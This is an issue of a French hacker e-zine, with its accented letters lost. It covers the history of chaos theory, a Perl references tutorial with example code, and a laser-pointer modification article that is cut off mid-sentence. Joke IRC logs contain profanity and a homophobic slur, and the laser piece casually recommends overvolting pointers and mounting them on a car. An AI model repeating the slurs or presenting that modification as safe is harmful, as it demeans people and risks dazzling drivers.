entre vu.  Peut  on  sus  le  reconnaitre, mais dans plusieurs pays  travers le 
monde, dans plusieurs domaines, certains l'on explor;

	     poincar

             Khun 
            
	     James Yorke

        1960 Benoit Mandelbrot
	     Dpartement de recherche pure IBM

	     Un espece de crink qui a vus l'ordre dans le dsordre
	      travers la premire calculatrice portable de HP, une 
	     brette qui pouvait prendre plus d'une minute pour 
             rsoudre une opration complexe .. eh criss de motiv :p	
	     
             premier article sur le chaos:
             flot non-priodique dterministe
	     (Deterministic Nonperdiodic Flow)
             139 vol. 20 Journal of the Atmospheric Sciences
 		
	1961 Edward Lorenz - Californie, USA.
             MIT Massachusetts Institute of Technology

     	     Lorenz voit le chaos dans un graphique 
 	     mtorologique. 
        1963 Puis il dcouvre le premier attracteur trange,
             qu'il appelra l'attracteur de lorenz (eh.)


 	1974 Mitchel Feigenbaum - Los alamos, Nouveau Mexique.    

	     Division T (Thorique) 			
	     L'un des pionnier de la thorie du chaos, il 
	     tablie les principales rgles qui rgissent
	     le chaos alors qu'il travaillait pour les usa
	

	1977 Robert Stetson Shaw - Santa-Cruz, USA.

	

	     Stephen Smale - Californie, USA.
	     Universit de Berkeley

	

	biensur la  liste  des pionnier du chaos est loin d'etre exaustive mais, 
les domaines  touch  sont  si  nombreux  que  souvent,  plusieurs chercheurs on 
travailler  des  annes en marge  des socit scientifique, parce que leur ides 
tait considr comme sotrique, et prs 30 ans  se sont  couler avant que les 
experts des diverses domaines puissent se rencontrer et changer  leur ides sur 
le sujet, qui lit le Journal of the Atmospheric Sciences ?


Fait amusant:
	
	  Vers la fin des annes 70, sur le  campus de  l'universit de 
	  santa cruz,  Robert Stetson  Shaw  s'amusait  avec  un  autre 
	  aurdinosaure qui reprsentait un impasse dans le dvloppement 
        technologique.      Le  systron-donner  tait  un  ordinateur
        analogique,  pour  programmer  il  fallait carrment crer du 
        hardware  qui  simulait les oprations et le brancher dans le 
        systron-donner, donc  il  programmait  avec du hardware, mais 
        tant analogique, l'ordinateur tait approximatif et beaucoup
        moin prcis que les ordinateur bas sur le systme binaire et
        les rsultats de  simples  quations linaire taient souvent 
        alatoires, ses  calculs  tant  bas sur des oscillations au 
        lieux de  1  et  0.  Mais  dans  la  recherche du chaos cette 
 	  inxactitude remplacea  le  facteur  "random" de la nature et
        lui permit  de vision une boucle qui se rpetait a l'infinis
        parfaitement sans  jamais pass par le meme poin x\y\z, et ce 
         l'aide  d'une  simple opration non-linaire que l'on appel 
        "attracteur de lorenz".



                              [ C O N C L U S I O N ]	

	En conclusion, la  thorie  vulgaris peux vous sembl de peux d'utilit 
ou simplement  un  "fait" amusant  de la nature ou des math, mais en fait, cette 
thorie  est la  thorie de  l'universalit que  tout  le  monde attendait, elle 
permettra surment un formidable bon en avant dans le domaine des biotechnologie,
de  l'informatique et  surement  de  la nanotechnologie,  les  applications sont 
rellement infinies, d'ailleur  la  raison qui ma pouss a lire se livre est que
je cherchais   dvlopper une technique de templating universelle en php avec un 
model OO,  et je  ne regrette  pas du  tout de  l'avoir  lus. La nature  encore 
russit a  nous surprendre,   nous montr  que nos  connaissances nous  rendent
ignorant, la preuve; j'y ai mme trouver la rponse de la complexit des femmes!
Selon la  thorie du  chaos, des  systmes simples  engendres des  comportements 
compliqus et des systmes compliqus engendre un comportement simple. ET VOILA!

	Pour finir  sur  une  note un peu plus srieuse, je vous laisse quelques 
sites que j'ai googl  propos du chaos, si le sujet vous interresse je vous
invite  faire pareil, les domaines ou peut s'extrapoler le chaos sont ass
surprenants quelque fois. 


site interressant sur le chaos:

Attracteur de Lorenz

        - http://www.wam.umd.edu/~petersd/lorenzfast.html (en mouvement)
        - http://archive.ncsa.uiuc.edu/SCMS/DigLib/stills/0892.hobill.lg.gif 

Chaos work group at Univ. of Maryland 

	- www-chaos.umd.edu  
	- http://www-chaos.umd.edu/Spheres_Photos/spheres_photo.html

The Mandelbrot and Julia Sets: A Toolkit of Dynamics Activities 

	- http://math.bu.edu/DYSYS/explorer/index.html


Livre  lire absolument (cet article en est un rsum trs sommaire) :

        - Gleick: La thorie du chaos; vers une nouvelle science.
                  ditions Champs Flammarion



                              [ P R O L O G U E ]	

	La lecture  du  livre de Gleick m' fais sourrir plus d'une fois, car en 
plus de  donn  une  notion  de base  bien  expliqu de  la thorie du chaos, il 
explique comment les  experts on  fait leur  dcouvertes,  donc  tout le long du 
livre on entend parler d'ordinateurs.  On peu  difficillement s'imagin ce qu'un
gnie comme  Lorenz  qui  travaillait  sur  un  ordinateur qui fesait 60 calculs 
seconde trouvrait   faire sur un dual pentium 4 3GHZ. Plus le livre avance dans 
l'histoire, plus  la  technologie  de  l'informatique  avance  aussi,  quand des 
informaticiens  ce  mlent   la  partie sa devient vraiment intrressant; James 
Crutchfield, un  jeune californien qui fesait du skateboard, dans le livre on le 
dcris  comme  ceci;  "Crutchfield  appartenait    la  premire  gnration  de 
mathmaticiens pour  qui  la  logique  des  microprocesseurs  tait  un  langage 
naturel." Un autre qui m' fait rire; "Farmer se fit une spcialit du  piratage 
des temps de  calcul.  Un  t  il fut invit au National Center for Atmospheric 
Research   Boulder dans le  Colorado, o d'normes ordinateurs effectuaient des 
recherches  sur  des sujets tels que  la simulation  globale du  temps,  et  ses 
capacits   siphonner  du  temps  couteux  sur  ces  machines  stupfirent les 
climatologues". Bref, si  vous  n'te  pas un fan des anecdotes historique lisez 
plutot un livre ax sur les systmes dynamique, qui  sera  surement  plus  de la 
thorie pure.



    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|              h3@mindkind.org            |    
                                '-------- - ----------- ------------ -----'





  < Mindkind tales from IRC >

  [03:04] <LastAWAY_> init, pte moi dla marde en private
  [03:04] <LastAWAY_> jvas faire un entre article avec a

  [..]

  [03:05] <init_null> oubli ca, jecoute la fin de fiction pulpeuse 
  [03:05] <init_null> quand yeclate par accident la tete du gars
  [03:05] <init_null> pis ca memoustille
  [03:22] <LastAWAY_> tant que c'est pas le boutte que yon les boule rouge dans bouche
  [03:22] <LastAWAY_> :-)
  [03:23] <init_null> pas de prob jmetais deja cross
  [03:26] <LastAWAY_> hahahahaha
  [03:26] <LastAWAY_> a va tre dans le zine a
  [03:26] <LastAWAY_> :P
  [03:26] <init_null> nice
  [03:26] <init_null> HAHAHA
  [03:26] <LastAWAY_> DUMBFUCK!!!
  [03:27] <init_null> jai un penchant secret pour les koalas
  [03:27] <init_null> ca mexite pasmal
  [03:41] <LastAWAY_> DUMBFUCK!!!
  [03:41] <LastAWAY_> on ^1:text:*:init_null: { .say DUMBFUCK !!! }
  [03:41] <LastAWAY_> haha
  [03:42] <init_null> lastcall is !!! :
  [03:43] <LastAWAY_> DUMBFUCK!!!
  [03:43] <LastAWAY_> haha
  [03:43] <init_null> hahahaha
  [03:44] <LastAWAY_> non srieux
  [03:44] <LastAWAY_> ta pas un truc pratico pratique
  [03:44] <LastAWAY_> pour les lecteurs de mindkind ezine?
  [03:44] <init_null> du pepsi pis du beure de pinut ca goute weird

  < ----------------------- >





    .-----------[MinDKinD100\#100.08]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 35/12/03
    | .     la conquete du chameau part 4             | - LastCall_
    |                           aka                    '------------- ----.
    |                               i love perl                            | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------' 
   

Pour ceux  qui avait  dj une  base en  Perl, les  articles prcdent de cette
srie ont t  fastoche en partie..  maintenant on va  enfin s'amuser avec  des
choses plus "hard".  Pour ceux qui  s'amusait en C  a faire des  pointeurs vont
enfin peut-tre trouver du plaisir  gosser avec des "rfrences" en Perl, mais
d'une manire plus  utile que juste  passer des paramtres  par rfrence. Pour
ceux qui ont peur du compliqu,  arrtez-vous la parce que vous allez  voir des
choses paranormales  avec les  rfrences si  vous arrivez  pas a comprendre le
principe de rfrence, rfrent et drfrence.


References

Lorsqu'on fini par jongler avec les variables, aka leur faire faire vraiment ce
que l'on veut  faire, et bien  les rfrences deviennent  intressantes. Petite
mise en garde  ici, c'est pas  du C mais  bien du Perl,  donc une rfrence  ce
trouve   tre  vritablement seulement  une rfrence   une  variable ou  une
fonction, c'est pas comme  en C o l'on  garde simplement la valeur  de la case
mmoire de la variable point. Donc oublier  toute ce que vous savez en C  avec
les soit disant "pointeurs" qui sont en faite que des int, ici en Perl on  joue
qu'avec des vrais  rfrences, donc les  trucs  la  C ne fonctionne  pas (eg :
incrmenter une rfrence). Il existe donc deux types de rfrences : les  hard
et  les soft.  Une rfrence  hard est  la chose   lequel  vous vous  attendez
rellement d'une rfrence, et la soft est un genre de "tricks" que la  plupart
des langages de type "scripting" nous permettent de faire. Voici comment  crer
une rfrence hard  partir de la variable meuh et la foutre dans pwet:

$pwet = \$meuh;
Simple! et pour lui accder (autrement dit drfrencer une variable scalaire)
on fait :
print $$pwet;
Si   vous   faite  print   $pwet;   vous  allez   voir   quelque  chose   comme
SCALAR(0x1014072c). C'est ce  que Perl retourne  lorsqu'on print une  rfrence
sur un scalar. Vous pouvez aussi  bien sure faire des rfrences des  types que
vous voulez...
$a = \%hash;
$b = \@array;
Et pour printer  $b on fait  print @$b. Si  vous oubliez de  mettre le @,  vous
allez voir un ARRAY(0x1014072c), mme chose pour le hash, si vous oubliez le %,
vous  allez voir  HASH(0xqqchose). Faut  donc noter  qu'une rfrence  est une
variable scalaire, et qui faut la drfrencer de la bonne manire, sinon si on
fait print $$b; par exemple on va se retrouver avec le message d'erreur :  "Not
a  SCALAR reference".  Par contre  $$b[0] est  valide, et  que $$a{bleh}  l'est
aussi. On  peut aussi  drfrencer avec  @{} ${}  %{}, par  exemple @{$b}  est
valide. Et comme si c'tait pas ass, pour pseudo simuler de l'objet, Perl nous
permet de rajouter -> pour drfrencer, donc $b->[0] et $a->{bleh}  reviennent
au mme que $$b[0] et $$a{bleh} fou hein?
Pour pousser a encore plus loin (oui tjrs plus loin, encore! wouhou!) on  peut
faire  des rfrences  anonymes, qui  pointe sur  un endroit  qui est  pas une
variable qui existe :
$pwet = \"roxor";
print $$pwet; # print roxor!
Bon ok,  la tlm  se demande   quoi  a sert?  Pour l'instant  rien.. haha mais
regarder a :
$pwet = [1, 2, 3];
Avec [] on  peut crer une  liste anonyme.. c'est  tu pas super?  Donc $pwet[0]
donne 1. Et pis pour en rajouter encore dans ce semblant d'inutilit, voila  le
hash anonyme :
$pwet = { aaa => "ahh!", bbb => "bhh!" };
Cool heh? Bon ok  j'vous laisse 2 secondes  pour penser a quoi  a sert... ....
rappelez vous  de mon  premier article  qui montrait   faire  des tableaux  2
dimensions :
@a = (
      [ "oui", "non" ],
      [ "yes", "no" ],
      [ "dah", "niet" ],
);
Ah wow ya des []! Ah wow c'est des rfrences! hehe
Et oui avec tout a on peut s'amuser  faire ce qu'on veut tel que :
$hashref = { alouette => ["et ben", "oui", "et encore"] };
Qui se drfrence de la manire suivante :
print $hashref->{alouette}->[0]; #print et ben
ou encore :
print @{$$hashref{alouette}}; # print et benouiet encore
ou ben :
print ${$$hashref{alouette}}[0]; # print et ben
Mais la attention les yeux.. c'est  vous de comprendre le principe et  d'aprs
imaginer toute les structures que vous  pouvez faire pour pater la galerie  et
rendre votre code illisible (haha).
Si vous sentez le besoin d'assigner  un paquet de rfrences sur des  variables
d'une shoot, les () peuvent aider :
@refs = \($a, $b, $c);
@refs = (\$a, \$b, \$c);
@list = ($a, $b, $c); @refs = \(@list);
et a a revient  faire :
@refs;
$refs[0] = \$a;
$refs[1] = \$b;
$refs[2] = \$c;
Donc vidamment pour accder  $a on fait $$refs[0]
print ${$refs[0]}; #print le contenu de $a
Mais oh! ATTENTION! ne pas faire  $$refs[0], car dans ce cas la  a drfrence
$refs au lieu de $refs[0], et donc, a va utiliser la variable $refs au lieu de
@refs (qui  sont 2  variables totalement  diffrentes!); Et  si votre  variable
$refs n'est pas une rfrence a va chier.. ou pire, vous allez faire une  soft
rfrence sans vous en rendre compte (oh horreur!).

Les soft  rfrences sont  le type  de rfrence  qui vous  permettre de  faire
marcher des rfrences quand  vous tes dans un  tat mental prcaire sans  que
vous vous en rendiez compte. Voici un exemple simple :
$meuh "heh";
$pwet = "meuh";
print $$pwet; #print heh
et tant qu'a faire :
print ${"meuh"}; # print heh
La magie dans tout a? Lorsque Perl voit que la variable est une string au lieu
d'une rfrence, y'essaye tout simplement  de regarder dans sa lookup  table de
variables si y'a pas de quoi qui matcherait avec.. dans le cas prsent a  fait
${"$pwet"}.. plus simple   comprendre crit  ainsi! ;-) Si  jamais vous voulez
pas que a vous arrive, faite use strict 'refs'; au dbut de votre programme et
Perl vous laissera pas faire de rfrence symboliques (aka rfrence soft).

Pour ceux qui aime faire du n'importe quoi, Perl vous laisse aussi le choix  de
rfrencer n'importe quoi.  Avec * comme  symbole devant la  variable.. On peut
donc ainsi faire des rfrences de filehandles :
$pwetFH = \*FH;
Fun! * se trouve  gosser avec la table des symboles de Perl (qui contient  les
variables), donc c'est comme si on serait un peu plus dessous le capot de Perl,
en faite $pwet = \$meuh; revient  faire :
$pwet = *meuh{SCALAR};
A vous de trouver  une utilit pour a..  noter qu'on peut remplacer  SCALAR($)
par ARRAY(@), HASH(%), CODE(&)  et GLOB(*). Et oui  on peut mme rfrencer  du
code et on peut faire des affaires plutt intressante avec a :
foreach my $twit ("a", "b", "c") {
	*$twit = sub { return $twit x $_[0] }
}
Koic a fait a? Et bien a cre des rfrence globale (donc sans tre obliger
d'crire  un identifiant tel que $ ou  @ devant la variable pour y accder,  et
ce pour a b et c. Dans la  sub elle-mme a prend le nom de cette  rfrence la
et a le retourne le nombre de fois qu'on spcifie. ouf. bon ok en clair :
a(2) retourne "aa".
print a(2); # print "aa"
 vous de jouer pour plugger a dans de quoi d'utile... ;-)
Pour ceux qui sont  pas capable de rien  trouver, voici de quoi  de bien simple
avec le *, disons que je veux faire une rfrence vers une
sub { print "beurk";} je fais :
my $twit = "a";
{
*$twit = sub { print "beurk\n" }
}
a();
Notez les { }  qui englobe dans un  block l'assignation, pourquoi c'est  la? En
faite j'ai pas  d'explication clair et  prcise sur le  sujet, mais disons  que
cot table des symboles de Perl si  je veux que a marche mon affaire,  je dois
le mettre dans  un block... bizarre,  mais nyways on  peut pas faire  ce "truc"
avec use strict car a cre une rfrence symbolique..


Un peu de pratique

Bon sortez vos  sabres laser on  va maintenant slicer  du code les  yeux bands
(les YEUX  j'ai dis).  Avant de  faire le  Jedi avec  les rfrences  on va  se
dgourdir le padawan avec quelques exercices sur les Array (putain je joue trop
a KOTOR) :


------------------------- 8< ------------------------------- >8 ---------------

my @crystals;
# Affectation de "blue" et "red" dans $crystals[4] et $crystals[5]
@crystals[4..5] = qw/blue red/;

# Affectation de "yellow" dans $crystals[1] (si vous saviez pas a la...)
$crystals[1] = "yellow"; 
$crystals[0] = "green"; 


# Pour chaque lment dans l'array @crystal
my $i=0;
foreach (@crystals){
	# print la valeur de l'array  la position $i
	print "\$crystals[$i] : $_\n";
	$i++;
}

# print le dernier indice (un indice c'est genre $crystal[$INDICE])
# de l'array @crystals
print '$#crystals : ' , $#crystals , "\n";

# print le nombre d'lments du array @crystals
print 'scalar @crystals : ' , scalar @crystals , "\n";

# Change le dernier indice du array  2,
# donc @crystals devient juste @crystals[0..2]
$#crystals = 2;

$i=0;
foreach (@crystals){
        print "\$crystals[$i] : $_\n";
        $i++;
}
print '$#crystals : ' , $#crystals , "\n";
print 'scalar @crystals : ' , scalar @crystals , "\n";

------------------------- 8< ------------------------------- >8 ---------------


Bon a serait le fun que vous essayez vous aussi, mais pour les vedges voici le
output:
$crystals[0] : green
$crystals[1] : yellow
$crystals[2] :
$crystals[3] :
$crystals[4] : blue
$crystals[5] : red
$#crystals : 5
scalar @crystals : 6
$crystals[0] : green
$crystals[1] : yellow
$crystals[2] :
$#crystals : 2
scalar @crystals : 3


Des exemples en veut tu en vla (avec les Array)


Vous allez  avoir besoin  de la  force pour  passer au  travers de la prochaine
affaire.. ou plutt, d'avoir comprit le principe avec les foutues rfrences!


------------------------- 8< ------------------------------- >8 ---------------
#!/usr/bin/perl -w


use strict;

# Crer l'array @b
my @b = (1, 2, 3);

# Cre l'array @a avec la drfrence de la rfrence de @b
# - Ceci est juste pour dmontrer que a marche,
# vous tes barge si vous faite a pour vrai - 
my @a = @{ [@b] };

print '@b : ', @b, "\n";
print '@a : ', @a, "\n";

print "\n-----\n";
# RInitialiser les arrays @a and @b
@a = (); @b = ();

# Remplir l'array @b 
@b = (4, 5, 6);
# Copi @b dans @a (copy item par item ici, pas de rfrences)
@a = @b;

print '@b : ', @b, "\n";
print '@a : ', @a, "\n";

print "\n-----\n";
# RRInitialiser @a et crer @c
@a = ();
my @c = (7, 8, 9);

# On empile dans @a l'array @b ou plutt on empile sa rfrence
push @a, [ @b ];
# again!
push @a, [ @c ];

print '@b : ', @b, "\n";
print '@c : ', @c, "\n";

print '@a : ', @a, "\n";

print '$a[0][0] : ', $a[0][0], "\n";

print '@{$a[0]} : ', @{$a[0]}, "\n"; 

# ATTENTION: a a print RIEN!
#print @$a[0]; 


print "\n-----\n";
# RRRInitialiser @a
@a = (); # on va se servir de @a comme un array de refrences

# On empile dans @a la rfrence de l'array @b
push @a, \@b;
# si @a est vide : $a[0] = \@b;
push @a, \@c;
# NOTE: \@c fait la mme affaire que [ @c ], et supposment plus vite.
#       par contre il va falloir se servir de [ ] si on veut avoir
#       quelque chose de temporaire (ou anonyme)
push @a, [ split '-', '11-12-13' ];
push @a, [22, 23, 24];

# ATTENTION: Les prochains lignes vont pas marcher, a prends le premier lment de @b
# et le push comme un array ref...
# avec use strict  print: Can't use string ("4") as an ARRAY ref while "strict refs"
#push @a, @b;
# ATTENTION: ne pas se tromper entre [] et ()
#push @a, (@b);
# Sinon a va faire la mme chose que push @a, $b[0], $b[1], $b[2]...
# donc @a va tre un array normal (pu de rfrences!)


print '@b : ', @b, "\n";
print '@c : ', @c, "\n";
print '@a : ', @a, "\n";

print '$a[0][0] : ', $a[0][0], "\n";
print '@{$a[0]} : ', @{$a[0]}, "\n";
print '@{$a[1]} : ', @{$a[1]}, "\n";
print '@{$a[2]} : ', @{$a[2]}, "\n";
print '@{$a[3]} : ', @{$a[3]}, "\n";

# ATTENTION: Si on assaye d'accder  un indice non existant
#print '@{$a[30]} : ', @{$a[30]}, "\n";
# a va printer: Can't use an undefined value as an ARRAY reference

# ATTENTION: la ligne suivante print rien
#print @$a[0];


print "\n";

------------------------- 8< ------------------------------- >8 ---------------

ouf.
Voici le output:
@b : 123
@a : 123

-----
@b : 456
@a : 456

-----
@b : 456
@c : 789
@a : ARRAY(0x81016f4)ARRAY(0x810300c)
$a[0][0] : 4
@{$a[0]} : 456

-----
@b : 456
@c : 789
@a : ARRAY(0x8101724)ARRAY(0x8103830)ARRAY(0x8103078)ARRAY(0x810303c)
$a[0][0] : 4
@{$a[0]} : 456
@{$a[1]} : 789
@{$a[2]} : 111213
@{$a[3]} : 222324

M'enfin maintenant vous  savez pratiquement tout  les trucs de  Jedi qu'on peut
faire avec  des arrays..  pas pire  quand mme  non? ;-)  En passant quand vous
voyez ARRAY(0x8101724) c'est parce que vous imprimer la rfrence (donc pas  la
bonne  affaire)   pour  fixer   a  suffi   de  rfrencer.   Dans  le  cas  de
ARRAY(0x8101724) faut faire un @{}.



Des exemples en veut tu en vla d'autres (et on rajoute les Hash)

Bon  maintenant on  va mixer  des hash  et des  array ensemble.  Pour plus  de
plaisir,  plus de  puissance, plus  de O_o  comme on  dit dans  le langage  des
smileys.


------------------------- 8< ------------------------------- >8 ---------------

#!/usr/bin/perl -w

use strict;

# Cration du hash %d avec les clefs "alpha", "beta"
# qui ont comme valeurs les arrays anonymes [10,11,12] et [20,21,22]
my %d = (
	"alpha" => [10,11,12],
	"beta" => [20,21,22],
);

# Print la rfrence du array anonyme [10,11,12]
print '$d{alpha} : ' , $d{alpha} , "\n";

# Print l'array anonyme [10,11,12]
print '@{$d{alpha}} : ' , @{$d{alpha}} , "\n";

# ATTENTION: Print l'array anonyme [10,11,12] dans un contexte scalar
#            (donc le nombre d'lment de la liste!)
print 'scalar @{$d{alpha}} : ' . @{$d{alpha}} . "\n";
# SOLUTION: utiliser la virgule , pour passer des paramtres  print au
#           lieu de concatner les strings avec les . 

# Ne fonctionne pas, erreur: Global symbol "$d" requires explicit package name
#print @$d{alpha};

# print la longueur du array anonyme [10,11,12]
print '$#{$d{alpha}} : ', $#{$d{alpha}}, "\n";

# fait la mme chose que la ligne ci-dessus, en trop laid. (dark side coders only)
print '$#{@{$d{alpha}}} : ', $#{@{$d{alpha}}};

print "\n";

------------------------- 8< ------------------------------- >8 ---------------

Le output:
$d{alpha} : ARRAY(0x80f815c)
@{$d{alpha}} : 101112
scalar @{$d{alpha}} : 3
$#{$d{alpha}} : 2
$#{@{$d{alpha}}} : 2

Rfrences vers une fonction comme en C?

Petite dernire note : on peut passer par rfrence  une fonction une variable
(waw comme en C), sauf que le truc du $_[0] = bleh; est plus leet.

my $a = "unf";
sub meuh {
my $refa = shift;
print "$$refa\n";
$$refa = "ehh";
}
meuh \$a;
print $a;

donne:
unf
ehh

Ce qui revient a faire avec le truc leet :
sub meuh {
print "$_[0]\n";
$_[0] = "ehh";
}
meuh $a;



OUF.
Voila ce qui conclu cette partie du tuto du cot des rfrences, ne pensez  pas
que j'ai pour autant fini de vous parler des hashs et des arrays, y'a plein  de
fonctions intressantes qui restent  dcouvrir  leur sujet.


Alors vu que la partie des rfrences tait plus bourre que prvu  (finalement
a en fait du stock), je reporte  ce que j'Avais prvu (c'est  dire  les regex
et les packages)  mon prochain article de la srie.


Que la force du chameau soit avec vous,


                                                               - LastCall_


    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|           lastcall@mindkind.org         |    
                                '-------- - ----------- ------------ -----'





  < Mindkind tales from IRC >

  * MindFlayR has joined #RectumCrew
  * UnetSplit sets mode: +b *!*@BaldBoy.users.undernet.org
  * MindFlayR was kicked by UnetSplit (ALLO PD TOI TON SPORT PREFERER 
    CES SURMENT LE LAME EXTREME <n 105>)

  --------------------MeanWhile on #rectumcrew----------------------

  <[_Ange_]> y as tu qq1 qui s y connais en page web j ai une tite question
  <[_Ange_]> je me souvien pas comment mettre un exe sur ma page web pour
             pouvoir download
  <Wyzeman> hahahah
  <Wyzeman> [_Ange_] FTP ?
  <[_Ange_]> je sais mais comment l ecrire en html dans ma page
  <[_Ange_]> car le fichier es sur le server mais je peut pas le downloader
  <Wyzeman> <a href="repertoire/fichier.exe">nomdufichier</a>
  <Wyzeman> mais anyway
  <Wyzeman> ta juste a taper le http://www.url.com/nomdufichier.exe
  <[_Ange_]> es tu la
  <Wyzeman> oui
  <[_Ange_]> j ai ecrit comme tu me la dit mais le fichier veut pas ce downloader
             peut tu m aider stp
  <Wyzeman> ta ecris quoi exactement
  <Wyzeman> peu tu me le paster
  <[_Ange_]> <a href="C:/pagweb/die.exe">die.exe</a>
  <Wyzeman> le serveur web est sur windows ou linux ? :)
  <[_Ange_]> windows
  <[_Ange_]> je sais pas
  <[_Ange_]> moi je roule en windows
  <Wyzeman> le server web est sur ta machine ?
  <[_Ange_]> le server doit etre en linux
  <[_Ange_]> non
  <Wyzeman> bon
  <Wyzeman> anyway
  <Wyzeman> c sur ca marche pas :)
  <[_Ange_]> ce st un grosse server qui donne des page web gratos
  <[_Ange_]> www.iquebec.com
  <Wyzeman> genre
  <Wyzeman> fait juste marquer <a href="die.exe">die.exe</a>
  <Wyzeman> ou <a href="pagweb/die.exe">die.exe</a>
  <Wyzeman> si ca marche pas
  <Wyzeman> t sur c pagweb et non pas pageweb ?
  <[_Ange_]> oui je suis sure
  <[_Ange_]> j esaye ca
  
  < ----------------------- >





    .-----------[MinDKinD100\#100.09]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 16/09/03
    | .      light, the final frontier!                | - Qwzykx
    |                           aka                    '------------- ----.
    |                               "{SD}Qwzykx saw the light"            | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------' 


Et oui semblerait que l'espce humaine soit en-pleine crise d'identit en ses
sombres heures noires,  un tel point mme que tout et chacun,bonnent malant,
se sentent rejet, dsempar, que dis-je, atteint dans leurs virilits face 
un kid de 15 ans qui a un laser pointer. Et donc, encore une fois en tant que
justicier absent de la `scne` du tweak  lectronique,  et  dans  le  but  de
revigorer ces mes perdues que sont les lecteurs absents de cette mme `scne`
je vous offre le viagra du post adolescent no-capitaliste. (pour le peu  que
ca veux dire).Je vous en conjure,ne partez pas immdiatement cotiser vos REER,
soyez emprunt d'une voluptile ide de  soumission  dans  ce  chemin  indfini
qu'est cet article. Pour vous stimuler, accentuer, exciter vos sens, prenez-en
donc une tite frette  ma sant,  ou celle de  votre  chat,  mettez  un  beat
de background, (je suggre une beat plutt du genre club  mix etc..) en  fait
opter pour le feeling de bars dchus ou les conversations sont sans but  mais
semble jouissive  l'extrme! et avant que vous y pensiez, je sais y a pas de
hot chix mais bon!.. 

Donc je disais aprs ce court prambule  (en 1024x768),  que  moi,  j`ma vous
montrer comment faire de quoi avec rien,  pis non  c'est  pas  de l'argent ma
faire, quoi que si vous ayez la resette la boite  malle de  mon  intrt est
toute ouvete! Bon je disais...:) Tout  le  monde semble  vouloir  possder un
laser pointer, pour l'utilit?? c'est discutable, mais avouez que ca offre un
look Hi-Tech, pour pas trop cher. Mais combien d'entre vous savent comment ca
marche? J'veux dire au point de pouvoir en tweaker un  faire dequoi avec dans
un but non prvu par le constructeur! En fait  comment faire en sorte que cet
outil de commercialisation mercantile vous offre  vous aussi un look Hi-Tech,
qui surpassera  de  beaucoup  l'utilisation  primaire  qu'en  fera  la  masse
communiste? Et bien les ides sont vastes, les applications  sont tangible et
vous tes en train de lire depuis quelques minutes un texte qui tourne autour
du pot:)

Bon comment ca marche!
Tout d'abord, le laser pointer  rabais que vous trouverez dans  les  marchs
aux puces pour moins de 10$ sont en fait compose  d'une  diode laser (ah  pas
srieux) et oui, bien-sr que je le suis.. hi hi hi! (non  il  ne s'agit  pas
ici de rires rels, parlons plutt d'un hasard typographique  que j'ai  ripp
de ces 1000 singes il y a 3 ans qui crivaient un  roman  de  shakespeare par
hasard). Cette diode en fait  "frette" met un beam plutt diffue,  en somme
c'est useless cote "beam laser pointer full hot etc"..  c'est pourquoi  on  
ajout une lentille pour focaliser le rayon    la sortie  du pointer,  et le
mcanisme est digne d'une grande prcision,il suffit simplement de dvisser le
dessus du pointer pour y voir une fente de tournevis plat avec  le  quel  ont
peut ajuster le tout!  Mais    cette tape  prcaire j'estime intressant de
vous montrer le schma du pointer bas de gamme en  question,  ainsi  que  mes
talents en ascii art!

Vu de coupe avec intrieur.

                                                    Cap du bout qui se 
                                                    visse pour ajuster le
                       Piton On/Off   Diode Laser   focus du beam. 
                                         /            /
    _      ________________,oo.___________                    _
   | |.   |                 %]         .  |  .       |]      | '.
 (`||||   !        ||!----[`  `=======(D) ! !|     (![]      !  )             
 (.|||!   |        ||!----[____]'      `  | |!     (|[]      |  )        
   !_!    !_______________________________!  `       !]      !_``
    ^              ^          ^              ^                ^ 
Cap du     Partie batterie    !              !                !
bout des    avec le ressort   !           Lentille            !
batteries    au bout         ,!,                          Boute mal dessin   
                          Circuit                         qui va au bout.
                          Interrupteur


Bon. sans la lentille bien ajuster  l'aide du "cap du bout qui se visse pour
ajuster le focus du beam", le beam en question serait floue, donc en  vissant
tranquillement le tout, on ajuste ( l'oeil) le rayon de facon optimal (en un
point dense). Ces pointeurs la, fonctionne avec 3 piles de 1.5v  (les miennes
taient  1.2v donc j'imagine que j'ai pas t le 1er  jouer avec;)..  si on
additionne les 3 piles en sries on obtient  un  total  de 4.5v  et  le laser
consomme environ 25ma. Les points de contact sont plutt vidant,  au  centre
du tube,( l'intrieur), se trouve un spring en mtal, spring qui me rappelle
des moments plutt  troublants  de  mon enfance,  mais  bon  la  n'est pas la
question!.. Ce contact en mtal est le ple neutre (GND)  (ou comme beaucoup
aime l'appeler  tors "le ct ngatif"),  tandis que le contour du tube, (en
fait le case mme tu pointeur,  sert de conducteur pour le ct positif (dans
ce cas ci 4.5v). Quand vous visser le bout pour les batteries, vous faites en
fait contact avec le ple positif, pis le bout touche au case du pointeur qui
 son tour touche  la diode pour l'alimenter etc...

Ce laser l serait ma fois plate  tweaker si on devait toujours  le  laisser
avec des batteries pas de noms qui toffe jamais bien longtemps,  donc  si  on
dsire utiliser un laser du genre sur un objet plus "stable"..  pour  un  bon
bout  de  temps   (ex: Char,  maison,  piscine,  dguisement   de   prdator, 
spectacles  trs petit budget, orienteur pour chats myopes etc..)  il serait
essentiel de contrler un peu mieux le systme!  Pour  ce  faire  on  peut  y
ajouter une alimentation externe, comme des batteries,  et en  plus  on  peut
facilement contrler son activation  distance.Une facon simple est de placer
un tape sur  le  piton  On/Off  (afin qui sois toujours coll  On)  puis  de
simplement activer ou dsactiver l'alimentation. En  somme avec une source de
4.5v, on pourrait alimenter  distance ce laser la.  Et la joie c'est qu'avec
un tel voltage, c'est plutt facile  interfacer.

Personnellement j'ai voulus ajouter deux de ces petits lasers sur ma voiture,
bon ca fais juste 2 points rouges, mais l'hiver quand y neige ou quand y a de
la brume ca fait 2 lignes rouges.. wierd.. enfin!..  evidament  y  tait  pas
question de laisser les batteries d'origines pas de  nom   l'intrieur  donc
j'ai enlev le tout, j'ai raccord un fil aprs le spring  (qui  allait  tre
mon Ground (GND), j'ai raccord un  autre  fil  aprs  le  case  du  pointeur
(coinc entre "le bout mal dessin qui va au bout" pis le botier) qui allait
devenir mon 5v (et oui 5v, je sais que 4.5v c'est ce qui est  recommand  sur
le petit message, mais pour .5v,  ca devrait tenir le coup). (par  contre  ca
